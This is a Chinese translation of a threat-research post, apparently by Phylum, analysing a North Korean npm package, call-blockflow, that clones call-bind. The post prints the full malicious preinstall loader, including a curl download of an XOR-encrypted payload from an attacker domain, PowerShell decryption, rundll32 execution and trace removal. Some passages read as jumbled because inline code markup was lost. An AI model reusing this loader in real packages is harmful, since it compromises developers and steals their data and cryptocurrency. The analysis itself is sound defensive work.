一年多来,Phylum 一直在揭露朝鲜威胁行为者攻击开源供应链中的软件开发人员。这篇博文重点介绍了朝鲜从 2023 年 9 月开始的攻击活动中不断演变的策略,该攻击活动于 2024 年 7 月 4 日在 npm 中发布了一个软件包。就像蛇蜕去旧皮一样,这名攻击者的规避尝试引入了一些新奇之处,但我们在整个攻击活动中看到的许多相同模式和习语仍然存在。加入我们,深入了解这位老威胁行为者提供的新产品的细节。
合法 npm 软件包的武器化副本 call-bind相对call-blockflow
call-bind是一个合法的 npm 包,有超过 2000 个下游依赖项,每周下载量超过 4500 万次,其维护者支持 npm 上的 500 多个包。call-blockflow另一方面, 几乎是call-bind7 月 4 日发布到 npm 的包的副本,但在大约一个半小时后未发布。它包含所有的功能代码和测试,call-bind但修改了一个package.json文件和五个附加文件:shim.js、polyfill.js、implementation.js、callTo.js和mod.json。我们将详细讨论其中的每一个,但对 的武器化副本的这种更改对于这个攻击者来说已经是新鲜事了。此次活动中之前的近二十个恶意软件包都是基于合法 npm 包的call-bind武器化伪造品。config
package.json对软件包中原始文件的修改call-bind为我们提供了有关恶意执行如何发生的第一条线索:
package.json合法软件包和恶意软件包中的文件之间的差异call-bindcall-blockflow
中的名称、版本和说明已更改,并且删除了package.json许多脚本。(请注意新说明中的拼写错误。)附加脚本遵循我们在此活动的许多先前软件包中看到的模式,使用附加文件作为入口点。我们稍后会返回到该文件。call-bindfuncionpreinstallnode <file> && del <file>callTo.js
这三个文件 、implementation.js和polyfill.js都是shim.js从另一个名为 的 npm 包中逐字复制而来,该包date由同一个开发人员维护call-bind(可以在npm 上的Date.prototype.getDate目录中找到)。目前尚不清楚攻击者包含这些文件的目的是什么。它们与包中原始代码的任何功能都无关,也与恶意攻击链无关。在 GitHub 上进行简单查询就足以在其合法存储库中找到所有这些文件,因此我们无法在此进一步说明它们的用途。call-bind
不过,这个名字的选择polyfill.js很有意思。Polyfill.js是一个 JavaScript 库,旨在允许在不支持新功能的旧浏览器上使用现代功能。选择这个文件名可能是试图利用最近与中国收购该polyfill.io域名有关的供应链安全事件的炒作,该域名上个月开始向移动设备发送恶意软件。上个月,Phylum 发布了一篇博客文章,详细介绍了polyfill与受感染域名相关的软件包。https://blog.phylum.io/a-note-about-polyfill/
预安装脚本 callTo.js
回到 中的preinstall脚本恶意执行package.json,我们注意到callTo.js在原始软件包中没有对应项。但是,文件的名称callTo.js与callBound.js合法软件包中的合法文件具有相同的驼峰式大小写call-bind。每当开发人员安装恶意call-blockflow软件包时,preinstall脚本都会执行然后将其删除。正如我们将展示的那样,脚本完成执行后,此攻击中不会存在任何其他文件callTo.js的痕迹。这是此攻击者在整个活动中使用的另一个一致策略。callTo.jspreinstall
通过检查callTo.js,我们发现了许多与该攻击者过去使用过的惯用模式相同的模式:
const os = require("os");
const fs = require("fs");
const { exec } = require("child_process");
const setVal1 =
'@echo offncurl -o funData.ctr -L "https://cryptocopedia.com/explorer/search.asp?token=5032" > nul 2>&1nstart /b /wait powershell.exe -ExecutionPolicy Bypass -File towr.ps1 > nul 2>&1ndel "towr.ps1" > nul 2>&1nif exist "stringh.dat" (ndel "stringh.dat" > nul 2>&1n)nrename colfunc.csv stringh.dat > nul 2>&1nif exist "stringh.dat" (nrundll32 stringh.dat, SetExpVal tiendn)nif exist "mod.json" (ndel "package.json" > nul 2>&1nrename mod.json package.json > nul 2>&1n)nping 127.0.0.1 -n 2 > nulnif exist "stringh.dat" (ndel "stringh.dat" > nul 2>&1n)';
const setVal2 =
'$path1 = Join-Path $PWD "funData.ctr"n$path2 = Join-Path $PWD "colfunc.csv"nif ([System.IO.File]::Exists($path1))n{n$bytes = [System.IO.File]::ReadAllBytes($path1)nfor($i = 0; $i -lt $bytes.count; $i++)n{n$bytes[$i] = $bytes[$i] -bxor 0xc5n}n[System.IO.File]::WriteAllBytes($path2, $bytes)nRemove-Item -Path $path1 -Forcen}';
const osType = os.type();
if (osType === "Windows_NT") {
const fileName = "dope.bat";
const psfileName = "towr.ps1";
fs.writeFile(fileName, setVal1, (err) => {
if (!err) {
fs.writeFile(psfileName, setVal2, (err) => {
if (!err) {
const child = exec(`"${fileName}"`, (error, stdout, stderr) => {
if (error) {
return;
}
if (stderr) {
return;
}
fs.unlink(fileName, (err) => {});
});
}
});
}
});
}
此脚本检查它是否在Windows_NT环境中,如果是,它会写入两个文件 - 一个名为 的批处理脚本dope.bat和一个名为 PowerShell 脚本towr.ps1。如果在此期间出现任何错误,代码将尝试正常失败并退出。如果dope.bat成功,它将通过调用 被删除fs.unlink。
批处理脚本,第一部分 dope.bat
首先执行批处理脚本dope.bat,其内容位于setVal1变量中callTo.js。以下是该代码的漂亮打印版本的第一部分:
@echo off
curl -o funData.ctr -L "https://cryptocopedia.com/explorer/search.asp?token=5032" > nul 2>&1
start /b /wait powershell.exe -ExecutionPolicy Bypass -File towr.ps1 > nul 2>&1
我们稍后会返回到 dope.bat 中这三行后面的剩余代码。在这里,我们可以看到攻击者使用@echo off命令的第一个熟悉的隐身模式,该模式隐藏了所有命令提示符。第二个模式出现在> nul 2>&1接下来两行后面的尾随命令中。从右到左阅读,此调用将标准错误发送2到标准输出1所到的任何位置,并将标准输出发送到nul。因此,所有输出(错误或其他)都不会写入任何地方。
第二行使用 curl 获取远程文件,hxxps://cryptocopedia.com/explorer/search.asp?token=5032并将输出写入名为 的新文件funData.ctr,该文件稍后将使用。据推测,token=5032传递给search.asp参数的查询是一种防止攻击者服务器进行不必要的抓取的方法,也可能是一种跟踪单个受害者的方法。
不幸的是,我们未能在文件被删除之前获取它。根据npm 注册表,此恶意call-blockflow软件包于 7 月 4 日 17:40UTC 左右发布,然后于 19:00UTC 左右被攻击者取消发布。这种快速的发布和取消发布周期也贯穿了攻击者的大部分攻击活动,但 Phylum 的自动化平台甚至可以保护我们的客户免受这些攻击。根据npm 注册表,react-tooltip-modal今年 2 月初,在同一攻击活动中,Phylum在大约 90 秒内捕获并识别了该恶意软件包,然后才将其取消发布。
PowerShell 脚本 towr.ps1
第三行dope.bat启动 PowerShell 执行towr.ps1文件,该文件是之前在callTo.js中用 的内容编写的setVal2。开关/b启动 PowerShell 而不打开新的命令提示符窗口,并且开关/wait暂停 的执行,dope.bat直到 PowerShell 脚本完成执行。PowerShell 参数-ExecutionPolicy Bypass确保 执行期间不会阻止任何内容,也不会显示任何警告或提示。来自文件towr.ps1的内容在此处以漂亮的方式打印:towr.ps1callTo.js
$path1 = Join-Path $PWD "funData.ctr"
$path2 = Join-Path $PWD "colfunc.csv"
if ([System.IO.File]::Exists($path1))
{
$bytes = [System.IO.File]::ReadAllBytes($path1)
for($i = 0; $i -lt $bytes.count; $i++)
{
$bytes[$i] = $bytes[$i] -bxor 0xc5
}
[System.IO.File]::WriteAllBytes($path2, $bytes)
Remove-Item -Path $path1 -Force
}
回想一下,该文件funData.ctr是来自请求的远程响应curl。如果我们检查这个文件,它会看起来像一堆高熵垃圾,因为它是加密的。这在循环中很明显,for该循环将每个字节funData.ctr与单字节密钥(与之前的报告中0xc5不同)进行异或,并将解密的输出写入新文件。0xefcolfunc.csv
https://blog.phylum.io/crypto-themed-npm-packages-found-delivering-stealthy-malware/
批处理脚本(第二部分)dope.bat
现在,它funData.ctr已经达到了目的,它将在该 PowerShell 脚本的最后一行中删除,并且执行线程将返回到该脚本。以下是中的变量dope.bat的剩余代码:setVar1callTo.js
del "towr.ps1" > nul 2>&1
if exist "stringh.dat" (
del "stringh.dat" > nul 2>&1
)
rename colfunc.csv stringh.dat > nul 2>&1
if exist "stringh.dat" (
rundll32 stringh.dat, SetExpVal tiend
)
if exist "mod.json" (
del "package.json" > nul 2>&1
rename mod.json package.json > nul 2>&1
)
ping 127.0.0.1 -n 2 > nul
if exist "stringh.dat" (
del "stringh.dat" > nul 2>&1
)'
其余部分的第一部分dope.bat被删除towr.ps1,并为新文件让路stringh.dat,新文件只是colfunc.csv文件中解密有效载荷的重命名。
第二部分使用参数rundll32执行导出函数,这是该活动中的另一个常见模式。此活动中的先前软件包已更改导出函数的名称(例如 CalculateSum),并传递数字(或不传递任何内容)作为参数。进一步的独立分析表明,这种行为是朝鲜国家支持的活动的标志。SetExpValtiend
第三部分package.json用 的内容替换了原来的内容mod.json。对比这两部分,我们发现不仅描述略有变化,而且预安装脚本的所有痕迹也都消失了。
原始 package.json 与覆盖原始 package.json 的 mod.json 修改版本之间的差异
的最后一部分dope.batping 本地主机两次,这是 Windows 批处理脚本中命令的常用代理sleep。虽然可能性不大,但通过调用 丢弃的恶意软件可能SetExpVal期望这些 ping 起作用,但我们需要分析解密的有效负载才能确定。dope.bat通过删除 完成其执行stringh.dat,一切就结束了。受害者几乎没有留下任何痕迹就被感染了。
未完成的事情
“但是关于...?”
在得出结论之前,我们想先解决几个问题。首先,必须注意的是,无论是主要用户还是下游用户,都不会对软件包call-bind产生任何风险call-blockflow。命名空间是分开的,这是一个足够的保护屏障。但是,虽然软件包call-bind没有被破坏,但武器化的call-blockflow软件包复制了原始软件包的所有信任和合法性,以增强攻击的成功率。这种策略最近越来越受欢迎。
恶意攻击者通常通过两种方式攻击用户:伪装成可信软件包的合法贡献者,或创建新的虚假软件包以从头开始传播恶意软件。前者很难,但如果成功,效果会非常显著。后者更容易获得,但一旦发现恶意软件,该软件包将很容易被检测到,攻击者必须重新开始创建新的虚假软件包。通过克隆现有的可信存储库,攻击者现在拥有几乎无限的可信软件包来隐藏恶意软件,这种可信度对于攻击成功至关重要。鉴于开源软件的丰富性和普遍性,这为攻击者提供了上述两者之间的中间选择,从而缩短了新恶意软件的开发周期。
最后,Phylum 研究团队经常收到的一个常见反对意见是“为什么开发人员会安装该call-blockflow软件包”?该威胁行为者使用社会工程学来引诱软件开发人员参加虚假的求职面试,其中恶意软件是“编码面试”的一部分。根本没有求职面试,一旦受害者安装了恶意软件,一切就都结束了。有效载荷已经交付,潜在开发人员的机器被入侵,通常会窃取他们所有的加密货币以及他们能获取的任何敏感信息。从这个意义上说,这个恶意软件可能只有一个目标。尽管如此,这个朝鲜威胁行为者已经证明几乎所有软件开发人员都是潜在目标,因为加密货币盗窃是该行为者的主要动机(请参阅上一篇博文的结束段落)。
结论
Phylum 已捕获并识别出 30 多个恶意软件包,这些恶意软件包始于 2023 年 9 月。在此期间,我们发现攻击者的攻击策略在慢慢演变,但仔细观察后会发现许多相同的模式。这种持续的威胁没有停止的迹象,我们也没有。Phylum 将继续保护我们的客户免受这些以及许多其他攻击软件开发人员的威胁行为者的侵害。
原文始发于微信公众号(Ots安全):熟悉威胁的新战术
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论